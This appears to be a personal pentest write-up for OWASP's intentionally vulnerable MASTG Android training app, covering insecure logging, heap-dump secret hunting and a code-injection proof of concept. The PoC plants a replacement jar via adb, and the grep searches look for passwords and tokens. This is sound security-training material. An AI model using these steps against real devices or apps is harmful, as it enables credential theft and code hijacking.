> For the complete documentation index, see [llms.txt](https://bradsen.gitbook.io/docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bradsen.gitbook.io/docs/mobile-pentesting/mstg-android-java.md).

# MSTG-Android-Java

## Installation and Setup

{% embed url="<https://github.com/OWASP/MASTG-Hacking-Playground>" %}

## Insecure Logging (OMTG-DATAST-002\_LOGGING)

Start remote terminal into an Android device.

```
adb shell
```

View system and application logs from an Android device or emulator.

```
logcat
```

Key in any text

<img src="https://1174946829-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4K3GhEEELaFCyhvEQ0Wp%2Fuploads%2F8tL7F98zvlnSHZ2mEQwg%2Funknown.png?alt=media&amp;token=02b7f040-8db9-4fae-a025-13e408058128" alt="" height="195" width="225">

Expected output

<figure><img src="https://1174946829-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4K3GhEEELaFCyhvEQ0Wp%2Fuploads%2FVNnvxZVHCG2XMAt3oB0o%2Fimage.png?alt=media&amp;token=04dd0278-8370-4eb4-8cee-92c960fca42e" alt=""><figcaption></figcaption></figure>

**Impact:**

Logging sensitive information is insecure because logs are often stored longer than intended and can be accessed by anyone with sufficient privileges, such as through adb logcat, rooted devices, debugging tools, or compromised systems.&#x20;

If secrets like passwords, session tokens, API keys, or personal data are written into logs, an attacker can extract them without needing to bypass the main application security. This turns logs into an unintended data leakage channel, where sensitive information can persist even after it has been cleared from the app’s memory or UI.&#x20;

**Mitigation:**

To mitigate insecure logging, developers should avoid logging any sensitive data and ensure that production builds disable or heavily restrict debug logs. This can be done by using conditional logging (e.g., only logging when BuildConfig.DEBUG is true), implementing log redaction for sensitive fields, and using centralized logging frameworks that automatically filter secrets.&#x20;

## Information Disclosure (OMTG-DATAST-0011-MEMORY)

Start remote terminal into an Android device.

```
adb shell
```

Lists the applications installed on an Android device.

```
pm list packages
```

<img src="https://1174946829-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4K3GhEEELaFCyhvEQ0Wp%2Fuploads%2FzpWS2PLWnXCunTYAdcfE%2Funknown.png?alt=media&amp;token=7285aeaa-2574-453c-95fb-37b966649a2b" alt="" width="563">

Displays memory usage information for a specific application.

```
dumpsys meminfo sg.vp.owasp_mobile.omtg_android
```

Create a **heap dump** of the running application.

```
am dumpheap sg.vp.owasp_mobile.omtg_android /data/local/tmp/app.hprof
```

Change directory to **/data/local/tmp**

**Extract readable text from a heap dump file** and filter out noise from system libraries.

```
strings app.hprof | grep -v /system/bin/linker
```

**Keyword-based searching inside a heap dump file** to find potentially sensitive information.

```
strings app.hprof | grep -i "pass|token|secret|key"
```

Check for the word "**decrypt**".

```
strings app.hprof | grep -i "decrypt"
```

<img src="https://1174946829-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4K3GhEEELaFCyhvEQ0Wp%2Fuploads%2F9wVx3GNXsS7et37sYUAV%2Funknown.png?alt=media&amp;token=1837533c-d289-4d6d-8e57-20a930d53dca" alt="" width="563">

**Impact:**

Sensitive data present in application memory can be extracted through heap or memory dumps by an attacker with local or debugging access.&#x20;

This may expose credentials, session tokens, API keys, or other confidential information. Such exposure can lead to unauthorized account access, session hijacking, or impersonation of users. If long-lived secrets are leaked, it may also result in persistent compromise of backend systems.

**Mitigation:**

The application should avoid storing sensitive data such as credentials or tokens in memory longer than necessary. Sensitive variables should be cleared or overwritten immediately after use where feasible.&#x20;

Debug logging of confidential information must be disabled in production builds. Secure storage mechanisms like the Android Keystore should be used instead of plaintext memory storage.

## Code Injection Vulnerability (OMTG-CODING-004\_CODE\_INJECTION)

Use MobSF to look at the source code

<figure><img src="https://1174946829-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4K3GhEEELaFCyhvEQ0Wp%2Fuploads%2FTubjBta0RLVO3YCwqBnx%2Fimage.png?alt=media&amp;token=652c8f04-cd7b-43a9-914f-11dfdee32f81" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="https://1174946829-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4K3GhEEELaFCyhvEQ0Wp%2Fuploads%2FGFFSV1q3XGg85obYTK2S%2Fimage.png?alt=media&amp;token=fe14d81b-3a74-4552-914e-14c64a559e53" alt=""><figcaption></figcaption></figure>

The problem is with this code. The app is loading and executing code (libcodeinjection.jar) from external storage.

> new DexClassLoader(> \
> Environment.getExternalStorageDirectory() + "/libcodeinjection.jar",

This is bad because anyone who can modify the file **libcodeinjection.jar** on the phone/storage can make the app run their own malicious code.

## **POC**

### Step 1: Create malicious class

The app expects:

> com.example.CodeInjection

with method:

> returnString()

Create your own version and save it in **/com/example** directory.

```
package com.example;
public class CodeInjection {
         public String returnString() {
              return "PWNED - arbitrary code executed";
      }
}
```

Compile the java file into **.class**

```
javac /com/example/CodeInjection.java
```

<img src="https://1174946829-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4K3GhEEELaFCyhvEQ0Wp%2Fuploads%2FWPNVAV0Eu6TmuDMlXIYV%2Funknown.png?alt=media&amp;token=74379fdc-2c5a-447e-acbc-c9e30544c449" alt="" width="563">

This creates:

> CodeInjection.class

Package into JAR.

**jar cf** → create jar

```
jar cf libcodeinjection.jar CodeInjection.class
```

### Step 2: Create an **out** folder. Convert JAR into a DEX.

```
d8 libcodeinjection.jar --output out
```

<figure><img src="https://1174946829-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4K3GhEEELaFCyhvEQ0Wp%2Fuploads%2Fk8B1AD30zUzgOvgrWMeE%2Fimage.png?alt=media&amp;token=42ca5084-8d53-4c67-86ca-c2bb5c863419" alt=""><figcaption></figcaption></figure>

Creates a **JAR file** containing an Android **classes.dex** file.

```
jar cfv libcodeinjection.jar classes.dex
```

### Step 3: Replace the original file

Push your malicious JAR to external storage:

```
adb push libcodeinjection.jar /sdcard/
```

In adb shell run

```
logcat | grep Test
```

This shows that the external jar is being called successfully.

<figure><img src="https://1174946829-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4K3GhEEELaFCyhvEQ0Wp%2Fuploads%2FHNQd3cgLktln1wGAE7Y3%2Fimage.png?alt=media&amp;token=97cd02be-d635-40fd-871e-b737f82c76b2" alt=""><figcaption></figcaption></figure>

**Impact:**

The app loads a JAR/Dex file from external storage without validation, an attacker can fully control what code gets executed inside the app. An attacker can replace libcodeinjection.jar with a malicious version and the app will execute it.\
\
**Mitigation:**

**DO NOT** load code from external storage. External storage is user-accessible, modifiable by other apps & not secure. Move code to internal storage & bundled APK assets (preferred).

<br>
